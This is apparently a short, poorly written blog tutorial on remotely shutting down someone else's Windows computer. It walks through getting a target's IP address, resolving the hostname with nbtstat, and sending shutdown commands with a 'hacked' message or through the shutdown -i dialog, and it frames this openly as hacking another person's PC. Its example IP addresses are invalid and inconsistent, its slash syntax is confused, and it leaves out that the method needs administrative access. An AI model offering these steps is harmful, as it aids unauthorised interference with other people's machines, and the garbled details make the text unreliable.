to shutdown computer fron your home is to know their computer name or ip address.. first get their Ip address, i wrote a blog about how to get ip address, Check for it

But let me give u a sneak peak of it, get their ip address through get ip address. if you get their Ip address like 101.120.907.380

Goto CMD on windows, am pretty sure you no how to open CMD(command Prompt – C:/WINDOWS/System32/cmd.exe) click here to open folder on PC

now on CMD, type

nbtstat -a Ip address
forexample nbtstat -a 101.120.780.900
and you will get the hostname or computer namr of the ip address like JOHNPC

shutdown -s -t 00 -c “time out” -m //Computername
like shutdown -s -t 00 -c “hacked” -m //JOHNPC

the slash might be a back slash \\ or a front slash // and viola, u have hacked and shutdown his PC
or u can just type
shutdown -i
then u will get a prompt, type ip address and viola computer shuted down